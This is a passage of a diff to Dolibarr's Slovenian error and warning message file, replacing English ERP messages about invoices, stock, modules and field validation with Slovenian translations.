action. -ErrorChooseBetweenFreeEntryOrPredefinedProduct=You must choose if article is a predefined product or not -ErrorDiscountLargerThanRemainToPaySplitItBefore=The discount you try to apply is larger than remain to pay. Split the discount in 2 smaller discounts before. -ErrorFileNotFoundWithSharedLink=File was not found. May be the share key was modified or file was removed recently. -ErrorProductBarCodeAlreadyExists=The product barcode %s already exists on another product reference. -ErrorNoteAlsoThatSubProductCantBeFollowedByLot=Note also that using kits to have auto increase/decrease of subproducts is not possible when at least one subproduct (or subproduct of subproducts) needs a serial/lot number. -ErrorDescRequiredForFreeProductLines=Description is mandatory for lines with free product -ErrorAPageWithThisNameOrAliasAlreadyExists=The page/container %s has the same name or alternative alias that the one your try to use -ErrorDuringChartLoad=Error when loading chart of accounts. If few accounts were not loaded, you can still enter them manually. -ErrorBadSyntaxForParamKeyForContent=Bad syntax for param keyforcontent. Must have a value starting with %s or %s -ErrorVariableKeyForContentMustBeSet=Error, the constant with name %s (with text content to show) or %s (with external url to show) must be set. -ErrorURLMustEndWith=URL %s must end %s -ErrorURLMustStartWithHttp=URL %s must start with http:// or https:// -ErrorHostMustNotStartWithHttp=Host name %s must NOT start with http:// or https:// -ErrorNewRefIsAlreadyUsed=Error, the new reference is already used -ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=Error, delete payment linked to a closed invoice is not possible. -ErrorSearchCriteriaTooSmall=Search criteria too small. -ErrorObjectMustHaveStatusActiveToBeDisabled=Objects must have status 'Active' to be disabled -ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objects must have status 'Draft' or 'Disabled' to be enabled -ErrorNoFieldWithAttributeShowoncombobox=No fields has property 'showoncombobox' into definition of object '%s'. No way to show the combolist. -ErrorFieldRequiredForProduct=Field '%s' is required for product %s -ProblemIsInSetupOfTerminal=Problem is in setup of terminal %s. -ErrorAddAtLeastOneLineFirst=Add at least one line first -ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, record is already transferred in accounting, deletion is not possible. -ErrorLanguageMandatoryIfPageSetAsTranslationOfAnother=Error, language is mandatory if you set the page as a translation of another one. -ErrorLanguageOfTranslatedPageIsSameThanThisPage=Error, language of translated page is same than this one. -ErrorBatchNoFoundForProductInWarehouse=No lot/serial found for product "%s" in warehouse "%s". -ErrorBatchNoFoundEnoughQuantityForProductInWarehouse=No enough quantity for this lot/serial for product "%s" in warehouse "%s". -ErrorOnlyOneFieldForGroupByIsPossible=Only 1 field for the 'Group by' is possible (others are discarded) -ErrorTooManyDifferentValueForSelectedGroupBy=Found too many different value (more than %s) for the field '%s', so we can't use it as a 'Group by' for graphics. The field 'Group By' has been removed. May be you wanted to use it as an X-Axis ? -ErrorReplaceStringEmpty=Error, the string to replace into is empty -ErrorProductNeedBatchNumber=Error, product '%s' need a lot/serial number -ErrorProductDoesNotNeedBatchNumber=Error, product '%s' does not accept a lot/serial number -ErrorFailedToReadObject=Error, failed to read object of type %s -ErrorParameterMustBeEnabledToAllwoThisFeature=Error, parameter %s must be enabled into conf/conf.php to allow use of Command Line Interface by the internal job scheduler -ErrorLoginDateValidity=Error, this login is outside the validity date range -ErrorValueLength=Length of field '%s' must be higher than '%s' -ErrorReservedKeyword=The word '%s' is a reserved keyword -ErrorNotAvailableWithThisDistribution=Not available with this distribution -ErrorPublicInterfaceNotEnabled=Public interface was not enabled -ErrorLanguageRequiredIfPageIsTranslationOfAnother=The language of new page must be defined if it is set as a translation of another page -ErrorLanguageMustNotBeSourceLanguageIfPageIsTranslationOfAnother=The language of new page must not be the source language if it is set as a translation of another page -ErrorAParameterIsRequiredForThisOperation=A parameter is mandatory for this operation -ErrorDateIsInFuture=Error, the date can't be in the future -ErrorAnAmountWithoutTaxIsRequired=Error, amount is mandatory -ErrorAPercentIsRequired=Error, please fill in the percentage correctly -ErrorYouMustFirstSetupYourChartOfAccount=You must first setup your chart of account -ErrorFailedToFindEmailTemplate=Failed to find template with code name %s -ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Duration not defined on service. No way to calculate the hourly price. -ErrorActionCommPropertyUserowneridNotDefined=User's owner is required -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary -CheckVersionFail=Version check fail -ErrorWrongFileName=Name of the file cannot have __SOMETHING__ in it -ErrorNotInDictionaryPaymentConditions=Not in Payment Terms Dictionary, please modify. -ErrorIsNotADraft=%s is not a draft -ErrorExecIdFailed=Can't execute command "id" -ErrorBadCharIntoLoginName=Unauthorized character in the login name -ErrorRequestTooLarge=Error, request too large +ErrUnzipFails=Razpakiranje %s z ZipArchive ni uspelo +ErrNoZipEngine=V tem PHP-ju ni mehanizma za zip/razpakiranje datoteke %s +ErrorFileMustBeADolibarrPackage=Datoteka %s mora biti zip paket Dolibarr +ErrorModuleFileRequired=Izbrati morate datoteko paketa modula Dolibarr +ErrorPhpCurlNotInstalled=PHP CURL ni nameščen, to je bistveno za pogovor s Paypalom +ErrorFailedToAddToMailmanList=Zapisa %s ni bilo mogoče dodati na seznam Mailman %s ali bazo SPIP +ErrorFailedToRemoveToMailmanList=Zapisa %s ni bilo mogoče odstraniti na seznam Mailman %s ali bazo SPIP +ErrorNewValueCantMatchOldValue=Nova vrednost ne more biti enaka stari +ErrorFailedToValidatePasswordReset=Gesla ni bilo mogoče znova aktivirati. Morda je bil ponovni zagon že izveden (to povezavo lahko uporabite samo enkrat). Če ne, poskusite znova zagnati postopek ponovnega zagona. +ErrorToConnectToMysqlCheckInstance=Povezava z bazo podatkov ne uspe. Preverite, ali strežnik baze podatkov deluje (na primer z mysql/mariadb ga lahko zaženete iz ukazne vrstice s 'sudo service mysql start'). +ErrorFailedToAddContact=Stika ni bilo mogoče dodati +ErrorDateMustBeBeforeToday=Datum mora biti nižji od današnjega +ErrorDateMustBeInFuture=Datum mora biti večji od današnjega +ErrorPaymentModeDefinedToWithoutSetup=Način plačila je bil nastavljen na vrsto %s, vendar nastavitev modula Račun ni bila dokončana za določitev informacij, ki se prikažejo za ta način plačila. +ErrorPHPNeedModule=Napaka, vaš PHP mora imeti nameščen modul %s za uporabo te funkcije. +ErrorOpenIDSetupNotComplete=Nastavili ste konfiguracijsko datoteko Dolibarr, da omogoča preverjanje pristnosti OpenID, vendar URL storitve OpenID ni definiran v konstanti %s +ErrorWarehouseMustDiffers=Izvorna in ciljna skladišča se morajo razlikovati +ErrorBadFormat=Neveljavna oblika! +ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Napaka, ta član še ni povezan z nobenim partnerjem. Povežite člana z obstoječim partnerjem ali ustvarite novega partnerja, preden ustvarite naročnino z računom. +ErrorThereIsSomeDeliveries=Napaka, nekaj dostav je povezanih s to pošiljko. Brisanje zavrnjeno. +ErrorCantDeletePaymentReconciliated=Plačila, ki je ustvarilo bančni vnos, ki je bil usklajen, ni mogoče izbrisati +ErrorCantDeletePaymentSharedWithPayedInvoice=Plačila, ki ga deli vsaj en račun s statusom Plačano, ni mogoče izbrisati +ErrorPriceExpression1=Ni mogoče dodeliti konstanti '%s' +ErrorPriceExpression2=Ni mogoče ponovno definirati vgrajene funkcije '%s' +ErrorPriceExpression3=Nedefinirana spremenljivka '%s' v definiciji funkcije +ErrorPriceExpression4=Nedovoljen znak '%s' +ErrorPriceExpression5=Nepričakovan '%s' +ErrorPriceExpression6=Napačno število argumentov (dano %s, pričakovano %s) +ErrorPriceExpression8=Nepričakovan operater '%s' +ErrorPriceExpression9=Prišlo je do nepričakovane napake +ErrorPriceExpression10=Operatorju '%s' manjka operand +ErrorPriceExpression11=Pričakujem '%s' +ErrorPriceExpression14=Deljenje z ničlo +ErrorPriceExpression17=Nedefinirana spremenljivka '%s' +ErrorPriceExpression19=Izraza ni bilo mogoče najti +ErrorPriceExpression20=Prazen izraz +ErrorPriceExpression21=Prazen rezultat '%s' +ErrorPriceExpression22=Negativen rezultat '%s' +ErrorPriceExpression23=Neznana ali nenastavljena spremenljivka '%s' v %s +ErrorPriceExpression24=Spremenljivka '%s' obstaja, vendar nima vrednosti +ErrorPriceExpressionInternal=Notranja napaka '%s' +ErrorPriceExpressionUnknown=Neznana napaka '%s' +ErrorSrcAndTargetWarehouseMustDiffers=Izvorna in ciljna skladišča se morajo razlikovati +ErrorTryToMakeMoveOnProductRequiringBatchData=Napaka, poskus premikanja zalog brez podatkov o lotu/seriji, na izdelku '%s' zahteva podatke o lotu/seriji +ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=Vse posnete sprejeme je treba najprej preveriti (odobriti ali zavrniti), preden jim dovolimo to dejanje +ErrorCantSetReceptionToTotalDoneWithReceptionDenied=Vsi posneti sprejemi morajo biti najprej preverjeni (odobreni), preden se jim dovoli to dejanje +ErrorGlobalVariableUpdater0=Zahteva HTTP ni uspela z napako '%s' +ErrorGlobalVariableUpdater1=Neveljavna oblika JSON '%s' +ErrorGlobalVariableUpdater2=Manjka parameter '%s' +ErrorGlobalVariableUpdater3=Zahtevani podatki niso bili najdeni v rezultatu +ErrorGlobalVariableUpdater4=Odjemalec SOAP ni uspel z napako '%s' +ErrorGlobalVariableUpdater5=Izbrana ni nobena globalna spremenljivka +ErrorFieldMustBeANumeric=Polje %s mora biti številska vrednost +ErrorMandatoryParametersNotProvided=Obvezni parametri niso navedeni +ErrorOppStatusRequiredIfAmount=Nastavite ocenjeni znesek za to potencialno stranko. Zato morate vnesti tudi njegov status. +ErrorFailedToLoadModuleDescriptorForXXX=Nalaganje razreda deskriptorja modula za %s ni uspelo +ErrorBadDefinitionOfMenuArrayInModuleDescriptor=Nepravilna definicija polja za izbor v deskriptorju modula (neveljaven ključ fk_menu) +ErrorSavingChanges=Pri shranjevanju sprememb je prišlo do napake +ErrorWarehouseRequiredIntoShipmentLine=Za pošiljanje je potrebno skladišče na liniji +ErrorFileMustHaveFormat=Datoteka mora imeti obliko %s +ErrorFilenameCantStartWithDot=Ime datoteke se ne sme začeti z '.' +ErrorSupplierCountryIsNotDefined=Država ni določena. Najprej popravi to. +ErrorsThirdpartyMerge=Zapisov ni bilo mogoče združiti. Zahteva preklicana. +ErrorStockIsNotEnoughToAddProductOnOrder=Zaloga izdelka %s ni dovolj za dodajanje v novo naročilo. +ErrorStockIsNotEnoughToAddProductOnInvoice=Zaloge ni dovolj za izdelek %s, da bi ga dodali na nov račun. +ErrorStockIsNotEnoughToAddProductOnShipment=Zaloge ni dovolj, da bi izdelek %s dodali v novo pošiljko. +ErrorStockIsNotEnoughToAddProductOnProposal=Zaloga ni dovolj za izdelek %s, da bi ga dodali v novo ponudbo. +ErrorFailedToLoadLoginFileForMode=Pridobitev ključa za prijavo za način '%s' ni uspela. +ErrorModuleNotFound=Datoteka modula ni bila najdena. +ErrorFieldAccountNotDefinedForBankLine=Vrednost za računovodski račun ni definirana za ID izvorne vrstice %s (%s) +ErrorFieldAccountNotDefinedForInvoiceLine=Vrednost za računovodski račun ni določena za ID računa %s (%s) +ErrorFieldAccountNotDefinedForLine=Vrednost za računovodski račun ni določena za vrstico (%s) +ErrorBankStatementNameMustFollowRegex=Napaka, ime bančnega izpiska mora slediti naslednjemu sintaksičnemu pravilu %s +ErrorPhpMailDelivery=Prepričajte se, da ne uporabljate prevelikega števila prejemnikov in da vsebina vašega e-poštnega sporočila ni podobna neželeni pošti. Prosite tudi svojega skrbnika, da preveri datoteke dnevnikov požarnega zidu in strežnika za popolnejše informacije. +ErrorUserNotAssignedToTask=Uporabnik mora biti dodeljen nalogi, da lahko vnese porabljen čas. +ErrorTaskAlreadyAssigned=Naloga je že dodeljena uporabniku +ErrorModuleFileSeemsToHaveAWrongFormat=Zdi se, da ima paket modula napačno obliko. +ErrorModuleFileSeemsToHaveAWrongFormat2=V zip modula mora obstajati vsaj en obvezni imenik: %s ali %s +ErrorFilenameDosNotMatchDolibarrPackageRules=Ime paketa modula ( %s ) se ne ujema s pričakovano sintakso imena: %s +ErrorDuplicateTrigger=Napaka, podvojeno ime sprožilca %s. Že naloženo iz %s. +ErrorNoWarehouseDefined=Napaka, ni določenih skladišč. +ErrorBadLinkSourceSetButBadValueForRef=Povezava, ki jo uporabljate, ni veljavna. 'Vir' za plačilo je določen, vendar vrednost za 'ref' ni veljavna. +ErrorTooManyErrorsProcessStopped=Preveč napak. Postopek je bil ustavljen. +ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=Množično preverjanje ni mogoče, če je za to dejanje nastavljena možnost povečanja/zmanjšanja zalog (potrditi morate enega za drugim, da lahko določite skladišče za povečanje/zmanjšanje) +ErrorObjectMustHaveStatusDraftToBeValidated=Objekt %s mora imeti status 'Osnutek', da je preverjen. +ErrorObjectMustHaveLinesToBeValidated=Objekt %s mora imeti vrstice za preverjanje. +ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Z množično akcijo »Pošlji po e-pošti« lahko pošiljate samo potrjene račune. +ErrorChooseBetweenFreeEntryOrPredefinedProduct=Izbrati morate, ali je artikel vnaprej določen izdelek ali ne +ErrorDiscountLargerThanRemainToPaySplitItBefore=Popust, ki ga poskušate uveljaviti, je večji od preostalega zneska za plačilo. Pred tem popust razdelite na 2 manjša popusta. +ErrorFileNotFoundWithSharedLink=Datoteka ni bila najdena. Morda je bil ključ za skupno rabo spremenjen ali pa je bila datoteka nedavno odstranjena. +ErrorProductBarCodeAlreadyExists=Črtna koda izdelka %s že obstaja na drugi referenci izdelka. +ErrorNoteAlsoThatSubProductCantBeFollowedByLot=Upoštevajte tudi, da uporaba kompletov za samodejno povečanje/zmanjšanje podizdelkov ni mogoča, če vsaj en podizdelek (ali podizdelek podizdelkov) potrebuje serijsko številko/številko serije. +ErrorDescRequiredForFreeProductLines=Opis je obvezen za linije z brezplačnim izdelkom +ErrorAPageWithThisNameOrAliasAlreadyExists=Stran/vsebnik %s ima isto ime ali nadomestni vzdevek kot tisti, ki ga poskušate uporabiti +ErrorDuringChartLoad=Napaka pri nalaganju kontnega načrta. Če nekaj računov ni bilo naloženih, jih lahko še vedno vnesete ročno. +ErrorBadSyntaxForParamKeyForContent=Neveljaven param keyforcontent. Vrednost se začne z %s ali %s +ErrorVariableKeyForContentMustBeSet=Napaka, nastaviti je treba konstanto z imenom %s (z besedilno vsebino za prikaz) ali %s (z zunanjim URL-jem za prikaz). +ErrorURLMustEndWith=URL %s se mora končati %s +ErrorURLMustStartWithHttp=URL %s se mora začeti s http:// ali https:// +ErrorHostMustNotStartWithHttp=Ime gostitelja %s se NE sme začeti s http:// ali https:// +ErrorNewRefIsAlreadyUsed=Napaka, nova referenca je že uporabljena +ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=Napaka, brisanje plačila vezanega na zaprti račun ni mogoče. +ErrorSearchCriteriaTooSmall=Kriteriji iskanja so premajhni. +ErrorObjectMustHaveStatusActiveToBeDisabled=Predmeti morajo imeti status 'Aktivno', da so onemogočeni +ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Predmeti morajo imeti status 'Osnutek' ali 'Onemogočeno', da so omogočeni +ErrorNoFieldWithAttributeShowoncombobox=Nobeno polje nima lastnosti 'showoncombobox' v definiciji predmeta '%s'. Ni načina, da bi prikazal combolist. +ErrorFieldRequiredForProduct=Polje '%s' je obvezno za izdelek %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. +ProblemIsInSetupOfTerminal=Težava je v nastavitvi terminala %s. +ErrorAddAtLeastOneLineFirst=Najprej dodajte vsaj eno vrstico +ErrorRecordAlreadyInAccountingDeletionNotPossible=Napaka, zapis je že prenesen v računovodstvo, brisanje ni možno. +ErrorLanguageMandatoryIfPageSetAsTranslationOfAnother=Napaka, jezik je obvezen, če nastavite stran kot prevod druge strani. +ErrorLanguageOfTranslatedPageIsSameThanThisPage=Napaka, jezik prevedene strani je isti kot ta. +ErrorBatchNoFoundForProductInWarehouse=Ni najdene serije/serije za izdelek "%s" v skladišču "%s". +ErrorBatchNoFoundEnoughQuantityForProductInWarehouse=Ni zadostne količine za ta lot/serijo za izdelek "%s" v skladišču "%s". +ErrorOnlyOneFieldForGroupByIsPossible=Možno je le 1 polje za 'Združi po' (druga so zavržena) +ErrorTooManyDifferentValueForSelectedGroupBy=Našli smo preveč različnih vrednosti (več kot %s ) za polje ' %s ', zato ga ne moremo uporabiti kot 'Združi po' za grafiko Polje 'Združi po' je bilo odstranjeno. Morda ste ga želeli uporabiti kot X-os? +ErrorReplaceStringEmpty=Napaka, niz za zamenjavo je prazen +ErrorProductNeedBatchNumber=Napaka, izdelek ' %s ' potrebuje lot/serijsko številko +ErrorProductDoesNotNeedBatchNumber=Napaka, izdelek ' %s ' ne sprejema serije/serijske številke +ErrorFailedToReadObject=Napaka, branje predmeta vrste %s ni uspelo +ErrorParameterMustBeEnabledToAllwoThisFeature=Napaka, parameter %s mora biti omogočen v conf/conf.php , da omogočite uporabo vmesnika ukazne vrstice s strani notranjega načrtovalca opravil. +ErrorLoginDateValidity=Napaka, ta prijava je izven obdobja veljavnosti +ErrorValueLength=Dolžina polja ' %s ' mora biti večja od ' %s ' +ErrorReservedKeyword=Beseda ' %s ' je rezervirana ključna beseda +ErrorNotAvailableWithThisDistribution=Ni na voljo s to distribucijo +ErrorPublicInterfaceNotEnabled=Javni vmesnik ni bil omogočen +ErrorLanguageRequiredIfPageIsTranslationOfAnother=Jezik nove strani je treba določiti, če je nastavljena kot prevod druge strani +ErrorLanguageMustNotBeSourceLanguageIfPageIsTranslationOfAnother=Jezik nove strani ne sme biti izvorni jezik, če je nastavljen kot prevod druge strani +ErrorAParameterIsRequiredForThisOperation=Parameter je obvezen za to operacijo +ErrorDateIsInFuture=Napaka, datum ne more biti v prihodnosti +ErrorAnAmountWithoutTaxIsRequired=Napaka, znesek je obvezen +ErrorAPercentIsRequired=Napaka, odstotek vnesite pravilno +ErrorYouMustFirstSetupYourChartOfAccount=Najprej morate nastaviti svoj kontni načrt +ErrorFailedToFindEmailTemplate=Predloge s kodnim imenom %s ni bilo mogoče najti +ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Trajanje ni določeno v storitvi. Ni načina za izračun cene ure. +ErrorActionCommPropertyUserowneridNotDefined=Potreben je lastnik uporabnika +ErrorActionCommBadType=Izbrana vrsta dogodka (id: %s, koda: %s) ne obstaja v slovarju vrste dogodka +CheckVersionFail=Preverjanje različice ni uspelo +ErrorWrongFileName=Ime datoteke ne sme vsebovati __NEKAJ__ +ErrorNotInDictionaryPaymentConditions=Ni v slovarju plačilnih pogojev, prosimo, spremenite. +ErrorIsNotADraft=%s ni osnutek +ErrorExecIdFailed=Ni mogoče izvesti ukaza "id" +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired +ErrorNotApproverForHoliday=Niste odobritelj dopusta %s +ErrorAttributeIsUsedIntoProduct=Ta atribut se uporablja v eni ali več različicah izdelka +ErrorAttributeValueIsUsedIntoProduct=Ta vrednost atributa se uporablja v eni ali več različicah izdelka +ErrorPaymentInBothCurrency=Napaka, vsi zneski morajo biti vneseni v isti stolpec +ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=Poskušate plačati račune v valuti %s z računa z valuto %s +ErrorInvoiceLoadThirdParty=Ne morem naložiti predmeta tretje osebe za račun "%s" +ErrorInvoiceLoadThirdPartyKey=Ključ tretje osebe "%s" ni nastavljen za račun "%s" +ErrorDeleteLineNotAllowedByObjectStatus=Trenutno stanje objekta ne dovoljuje brisanja vrstice +ErrorAjaxRequestFailed=Zahteva ni uspela +ErrorThirpdartyOrMemberidIsMandatory=Partner ali član partnerstva je obvezen +ErrorFailedToWriteInTempDirectory=Pisanje v začasni imenik ni uspelo +ErrorQuantityIsLimitedTo=Količina je omejena na %s +ErrorFailedToLoadThirdParty=Ni bilo mogoče najti/naložiti partnerja z id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Ta način plačila ni bančni račun +ErrorStripeCustomerNotFoundCreateFirst=Stranka Stripe ni nastavljena za tega partnerja (ali nastavljena na vrednost, izbrisano na strani Stripe). Najprej ga ustvarite (ali znova pripnite). +ErrorCharPlusNotSupportedByImapForSearch=Iskanje IMAP ne more pri pošiljatelju ali prejemniku iskati niza, ki vsebuje znak + +ErrorTableNotFound=Tabela %s ni najdena +ErrorValueForTooLow=Vrednost za %s je prenizka +ErrorValueCantBeNull=Vrednost za %s ne sme biti ničelna +ErrorDateOfMovementLowerThanDateOfFileTransmission=Datum bančne transakcije ne sme biti nižji od datuma prenosa datoteke +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings -WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Your PHP parameter upload_max_filesize (%s) is higher than PHP parameter post_max_size (%s). This is not a consistent setup. -WarningPasswordSetWithNoAccount=A password was set for this member. However, no user account was created. So this password is stored but can't be used to login to Dolibarr. It may be used by an external module/interface but if you don't need to define any login nor password for a member, you can disable option "Manage a login for each member" from Member module setup. If you need to manage a login but don't need any password, you can keep this field empty to avoid this warning. Note: Email can also be used as a login if the member is linked to a user. -WarningMandatorySetupNotComplete=Click here to setup mandatory parameters -WarningEnableYourModulesApplications=Click here to enable your modules and applications +WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Vaš PHP parameter upload_max_filesize (%s) je višji od PHP parametra post_max_size (%s). To ni dosledna nastavitev. +WarningPasswordSetWithNoAccount=Za tega člana je bilo nastavljeno geslo. Vendar ni bil ustvarjen noben uporabniški račun. To geslo je torej shranjeno, vendar ga ni mogoče uporabiti za prijavo v Dolibarr. Lahko ga uporablja zunanji modul/vmesnik, vendar če vam ni treba določiti prijave ali gesla za člana, lahko onemogočite možnost »Upravljanje prijave za vsakega člana« v nastavitvah modula Član. Če morate upravljati prijavo, vendar ne potrebujete gesla, lahko to polje pustite prazno, da se izognete temu opozorilu. Opomba: E-pošta se lahko uporablja tudi kot prijava, če je član povezan z uporabnikom. +WarningMandatorySetupNotComplete=Kliknite tukaj za nastavitev glavnih parametrov +WarningEnableYourModulesApplications=Kliknite tukaj, da omogočite svoje module in aplikacije WarningSafeModeOnCheckExecDir=Pozor, PHP opcija safe_mode je vklopljena, zato mora biti ukaz shranjen znotraj mape, ki jo določa php parameter safe_mode_exec_dir. WarningBookmarkAlreadyExists=Zaznamek s tem imenom ali tem ciljem (URL) že obstaja. WarningPassIsEmpty=Pozor, geslo za bazo podatkov je prazno. To lahko pomeni varnostno luknjo. Zato morate dodati geslo v vašo bazo podatkov in spremeniti datoteko conf.php. WarningConfFileMustBeReadOnly=Pozor, vašo konfiguracijsko datoteko (htdocs/conf/conf.php) lahko prepiše web strežnik. To je resna varnostna luknja. Spremenite dovoljenja datoteke, da bo za uporabnika web strežnika možno samo branje. Če uporabljate Windows in FAT format diska, morate vedeti, da ta datotečni sistem ne omogoča dodajanja dovoljenj datotekam, zato ne more biti povsem varen. WarningsOnXLines=Opozorilo na %s vrstice izvorne kode -WarningNoDocumentModelActivated=No model, for document generation, has been activated. A model will be chosen by default until you check your module setup. -WarningLockFileDoesNotExists=Warning, once setup is finished, you must disable the installation/migration tools by adding a file install.lock into directory %s. Omitting the creation of this file is a grave security risk. -WarningUntilDirRemoved=All security warnings (visible by admin users only) will remain active as long as the vulnerability is present (or that constant MAIN_REMOVE_INSTALL_WARNING is added in Setup->Other Setup). -WarningCloseAlways=Warning, closing is done even if amount differs between source and target elements. Enable this feature with caution. -WarningUsingThisBoxSlowDown=Warning, using this box slow down seriously all pages showing the box. -WarningClickToDialUserSetupNotComplete=Setup of ClickToDial information for your user are not complete (see tab ClickToDial onto your user card). -WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Feature disabled when display setup is optimized for blind person or text browsers. -WarningPaymentDateLowerThanInvoiceDate=Payment date (%s) is earlier than invoice date (%s) for invoice %s. -WarningTooManyDataPleaseUseMoreFilters=Too many data (more than %s lines). Please use more filters or set the constant %s to a higher limit. -WarningSomeLinesWithNullHourlyRate=Some times were recorded by some users while their hourly rate was not defined. A value of 0 %s per hour was used but this may result in wrong valuation of time spent. -WarningYourLoginWasModifiedPleaseLogin=Your login was modified. For security purpose you will have to login with your new login before next action. -WarningAnEntryAlreadyExistForTransKey=An entry already exists for the translation key for this language -WarningNumberOfRecipientIsRestrictedInMassAction=Warning, number of different recipient is limited to %s when using the mass actions on lists -WarningDateOfLineMustBeInExpenseReportRange=Warning, the date of line is not in the range of the expense report -WarningProjectDraft=Project is still in draft mode. Don't forget to validate it if you plan to use tasks. -WarningProjectClosed=Project is closed. You must re-open it first. -WarningSomeBankTransactionByChequeWereRemovedAfter=Some bank transaction were removed after that the receipt including them were generated. So nb of cheques and total of receipt may differ from number and total in list. -WarningFailedToAddFileIntoDatabaseIndex=Warning, failed to add file entry into ECM database index table -WarningTheHiddenOptionIsOn=Warning, the hidden option %s is on. -WarningCreateSubAccounts=Warning, you can't create directly a sub account, you must create a third party or an user and assign them an accounting code to find them in this list -WarningAvailableOnlyForHTTPSServers=Available only if using HTTPS secured connection. -WarningModuleXDisabledSoYouMayMissEventHere=Module %s has not been enabled. So you may miss a lot of event here. -WarningPaypalPaymentNotCompatibleWithStrict=The value 'Strict' makes the online payment features not working correctly. Use 'Lax' instead. +WarningNoDocumentModelActivated=Noben model za ustvarjanje dokumentov ni bil aktiviran. Model bo privzeto izbran, dokler ne preverite nastavitev modula. +WarningLockFileDoesNotExists=Opozorilo, ko je namestitev končana, morate onemogočiti orodja za namestitev/selitev tako, da dodate datoteko install.lock v imenik %s . Izpustitev ustvarjanja te datoteke je resno varnostno tveganje. +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. +WarningCloseAlways=Opozorilo, zapiranje se izvede, tudi če se količina med izvornim in ciljnim elementom razlikuje. To funkcijo omogočite previdno. +WarningUsingThisBoxSlowDown=Opozorilo, uporaba tega polja resno upočasni vse strani, ki prikazujejo polje. +WarningClickToDialUserSetupNotComplete=Nastavitev podatkov ClickToDial za vašega uporabnika ni dokončana (glejte zavihek ClickToDial na vaši uporabniški kartici). +WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Funkcija je onemogočena, ko je nastavitev zaslona optimizirana za slepe osebe ali brskalnike besedila. +WarningPaymentDateLowerThanInvoiceDate=Datum plačila (%s) je pred datumom računa (%s) za račun %s. +WarningTooManyDataPleaseUseMoreFilters=Preveč podatkov (več kot %s vrstic). Uporabite več filtrov ali nastavite konstanto %s na višjo mejo. +WarningSomeLinesWithNullHourlyRate=Nekatere ure so zabeležili nekateri uporabniki, njihova urna postavka pa ni bila določena. Uporabljena je bila vrednost 0 %s na uro, vendar lahko to povzroči napačno vrednotenje porabljenega časa. +WarningYourLoginWasModifiedPleaseLogin=Vaša prijava je bila spremenjena. Zaradi varnosti se boste morali pred naslednjim dejanjem prijaviti z novo prijavo. +WarningAnEntryAlreadyExistForTransKey=Vnos za ključ prevajanja za ta jezik že obstaja +WarningNumberOfRecipientIsRestrictedInMassAction=Opozorilo, pri uporabi množičnih dejanj na seznamih je število različnih prejemnikov omejeno na %s +WarningDateOfLineMustBeInExpenseReportRange=Opozorilo, datum vrstice ni v obsegu poročila o stroških +WarningProjectDraft=Projekt je še vedno v osnutku. Ne pozabite ga potrditi, če nameravate uporabljati naloge. +WarningProjectClosed=Projekt je zaprt. Najprej ga morate znova odpreti. +WarningSomeBankTransactionByChequeWereRemovedAfter=Nekatere bančne transakcije so bile odstranjene, potem ko je bilo ustvarjeno potrdilo, vključno z njimi. Tako se lahko število čekov in skupno število prejemkov razlikuje od števila in skupnega zneska na seznamu. +WarningFailedToAddFileIntoDatabaseIndex=Opozorilo, dodajanje vnosa datoteke v indeksno tabelo baze podatkov ECM ni uspelo +WarningTheHiddenOptionIsOn=Opozorilo, vklopljena je skrita možnost %s . +WarningCreateSubAccounts=Opozorilo, podračuna ne morete ustvariti neposredno, ustvariti morate tretjo osebo ali uporabnika in mu dodeliti kodo računovodstva, da ga najdete na tem seznamu +WarningAvailableOnlyForHTTPSServers=Na voljo samo, če uporabljate zaščiteno povezavo HTTPS. +WarningModuleXDisabledSoYouMayMissEventHere=Modul %s ni bil omogočen. Tako lahko zamudite veliko dogodkov tukaj. +WarningPaypalPaymentNotCompatibleWithStrict=Zaradi vrednosti »Strict« funkcije spletnega plačevanja ne delujejo pravilno. Namesto tega uporabite "Lax". +WarningThemeForcedTo=Opozorilo, tema je bila prisiljena %s zaradi skrite konstante MAIN_FORCETHEME +WarningPagesWillBeDeleted=Opozorilo, s tem boste izbrisali tudi vse obstoječe strani/vsebnike spletnega mesta. Pred tem morate izvoziti svoje spletno mesto, da boste imeli varnostno kopijo, da ga boste pozneje znova uvozili. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Samodejno preverjanje je onemogočeno, ko je možnost zmanjšanja zaloge nastavljena na "Preverjanje računa". # Validate -RequireValidValue = Value not valid -RequireAtLeastXString = Requires at least %s character(s) -RequireXStringMax = Requires %s character(s) max -RequireAtLeastXDigits = Requires at least %s digit(s) -RequireXDigitsMax = Requires %s digit(s) max -RequireValidNumeric = Requires a numeric value -RequireValidEmail = Email address is not valid -RequireMaxLength = Length must be less than %s chars -RequireMinLength = Length must be more than %s char(s) -RequireValidUrl = Require valid URL -RequireValidDate = Require a valid date -RequireANotEmptyValue = Is required -RequireValidDuration = Require a valid duration -RequireValidExistingElement = Require an existing value -RequireValidBool = Require a valid boolean -BadSetupOfField = Error bad setup of field -BadSetupOfFieldClassNotFoundForValidation = Error bad setup of field : Class not found for validation -BadSetupOfFieldFileNotFound = Error bad setup of field : File not found for inclusion -BadSetupOfFieldFetchNotCallable = Error bad setup of field : Fetch not callable on class +RequireValidValue = Vrednost ni veljavna +RequireAtLeastXString = Zahteva vsaj %s znakov +RequireXStringMax = Zahteva največ %s znakov +RequireAtLeastXDigits = Zahteva vsaj 